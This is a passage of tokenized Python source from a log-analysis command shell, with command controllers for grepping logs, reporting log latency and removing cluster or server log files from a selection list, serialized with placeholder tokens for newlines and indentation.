"\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "count_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "case", "sensitive_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "search", "\\u", "str_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "str_", "=_", "strip", "\\u", "string_", "(_", "search", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "f", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "start", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "duration_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "strip", "\\u", "string_", "(_", "duration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "t", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slice", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "slice", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "k", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "\\u", "count_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "count_", "=_", "int_", "(_", "strip", "\\u", "string_", "(_", "show", "\\u", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "i", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "case", "sensitive_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "i_", ")_", "for_", "i_", "in_", "strip", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "._", "split_", "(_", "\",\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "l", "'_", "and_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limit_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "int_", "(_", "strip", "\\u", "string_", "(_", "limit_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "grep", "Res_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "search", "\\u", "str_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "files", "\\u", "by", "\\u", "index_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sources_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "files_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "grep", "\\u", "res_", "=_", "self_", "._", "logger_", "._", "grep", "Diff_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "files_", "[_", "timestamp_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "search", "\\u", "str_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "tm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "duration_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "tm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "show", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", ",_", "is", "\\u", "case", "sensitive_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "show", "Gre", "p", "Diff_", "(_", "timestamp_", ",_", "grep", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gre", "p", "File_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "latency_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "latenc", "y", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "logl", "ate", "nc", "y", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hist_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "\"", "head", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slice", "\\u", "tm_", "=_", "\"", "10", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bucket", "\\u", "count_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "count_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "no", "\\u", "time", "\\u", "rounding", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "h", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hist_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hist_", "=_", "strip", "\\u", "string_", "(_", "hist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "f", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "start", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "duration_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "strip", "\\u", "string_", "(_", "duration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "t", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slice", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "slice", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "e", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "\\u", "count_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "\\u", "count_", "=_", "int_", "(_", "strip", "\\u", "string_", "(_", "show", "\\u", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "b", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bucket", "\\u", "count_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bucket", "\\u", "count_", "=_", "int_", "(_", "strip", "\\u", "string_", "(_", "bucket", "\\u", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "i_", ")_", "for_", "i_", "in_", "strip", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "._", "split_", "(_", "\",\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "o", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "no", "\\u", "time", "\\u", "rounding", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "files", "\\u", "by", "\\u", "index_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sources_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "files_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "latenc", "y", "\\u", "res_", "=_", "self_", "._", "logger_", "._", "logl", "ate", "ncy_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "files_", "[_", "timestamp_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hist_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "slice", "\\u", "tm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "tm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "duration_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bucket", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "show", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "no", "\\u", "time", "\\u", "rounding", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "show", "Log", "Latency", "_", "(_", "timestamp_", ",_", "latenc", "y", "\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Remove", "Cluster", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Remove", " ", "cluster", " ", "logs", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", "Optio", "ns", ":'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", " ", " ", "-", "s", " ", "<", "string", ">", " ", " ", "-", " ", "Comm", "a", " ", "separate", "d", " ", "selecte", "d", " ", "cluster", " ", "log", " ", "file", " ", "numbers", ".", " ", "You", " ", "can", " ", "get", " ", "these", " ", "numbers", " ", "by", " ", "\\\\'", "list", " ", "selecte", "d", "\\\\'", " ", "command", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Thi", "s", " ", "will", " ", "remove", " ", "files", " ", "from", " ", "selecte", "d", " ", "file", " ", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Format", " ", ":", " ", "-", "s", " ", "\\\\'", "1", ",", "2", ",", "5", "\\\\''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", " ", " ", "-", "a", " ", "<", "string", ">", " ", " ", "-", " ", "Comm", "a", " ", "separate", "d", " ", "cluster", " ", "log", " ", "file", " ", "numbers", ".", " ", "You", " ", "can", " ", "get", " ", "these", " ", "numbers", " ", "by", " ", "\\\\'", "list", "\\\\'", " ", "command", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Thi", "s", " ", "will", " ", "remove", " ", "files", " ", "from", " ", "all", " ", "and", " ", "selecte", "d", " ", "lists", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Format", " ", ":", " ", "-", "a", " ", "\\\\'", "1", ",", "2", ",", "5", "\\\\''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "do", "\\u", "default_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "remove", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "remove", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "remove", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "remove", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "=_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "values_", "._", "split_", "(_", "\",\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index_", "=_", "int_", "(_", "i_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "remove", "\\u", "list_", "._", "append_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "=_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "values_", "._", "split_", "(_", "\",\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index_", "=_", "int_", "(_", "i_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "remove", "\\u", "list_", "._", "append_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "rm", "\\u", "list_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "name", "\\u", "by", "\\u", "index_", "(_", "indices_", "=_", "all", "\\u", "remove", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "True_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "rm", "\\u", "list_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "name", "\\u", "by", "\\u", "index_", "(_", "indices_", "=_", "selecte", "d\\u", "remove", "\\u", "list_", ",_", "cluster", "\\u", "snapshot_", "=_", "True_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "all", "\\u", "rm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "logger_", "._", "remove", "\\u", "logs_", "(_", "all", "\\u", "rm", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "selecte", "d\\u", "rm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "logger_", "._", "remove", "\\u", "logs_", "(_", "selecte", "d\\u", "rm", "\\u", "list_", ",_", "from", "\\u", "all", "\\u", "list_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Remove", "Server", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Remove", " ", "server", " ", "logs", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", "Optio", "ns", ":'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", " ", " ", "-", "s", " ", "<", "string", ">", " ", " ", "-", " ", "Comm", "a", " ", "separate", "d", " ", "selecte", "d", " ", "server", " ", "log", " ", "file", " ", "numbers", ".", " ", "You", " ", "can", " ", "get", " ", "these", " ", "numbers", " ", "by", " ", "\\\\'", "list", " ", "selecte", "d", "\\\\'", " ", "command", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Thi", "s", " ", "will", " ", "remove", " ", "files", " ", "from", " ", "selecte", "d", " ", "file", " ", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Format", " ", ":", " ", "-", "s", " ", "\\\\'", "1", ",", "2", ",", "5", "\\\\''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", " ", " ", "-", "a", " ", "<", "string", ">", " ", " ", "-", " ", "Comm", "a", " ", "separate", "d", " ", "server", " ", "log", " ", "file", " ", "numbers", ".", " ", "You", " ", "can", " ", "get", " ", "these", " ", "numbers", " ", "by", " ", "\\\\'", "list", "\\\\'", " ", "command", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Thi", "s", " ", "will", " ", "remove", " ", "files", " ", "from", " ", "all", " ", "and", " ", "selecte", "d", " ", "lists", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", "Format", " ", ":", " ", "-", "a", " ", "\\\\'", "1", ",", "2", ",", "5", "\\\\''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "do", "\\u", "default_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "remove", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "remove", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selecte", "d\\u", "remove", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "remove", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "=_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "values_", "._", "split_", "(_", "\",\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " 